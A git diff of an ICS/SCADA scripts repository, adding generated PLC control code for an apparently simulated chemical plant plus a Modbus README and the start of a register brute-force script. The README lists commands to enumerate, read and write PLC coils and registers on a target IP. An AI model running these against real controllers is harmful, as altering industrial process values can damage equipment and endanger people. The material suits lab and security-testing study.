__INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + 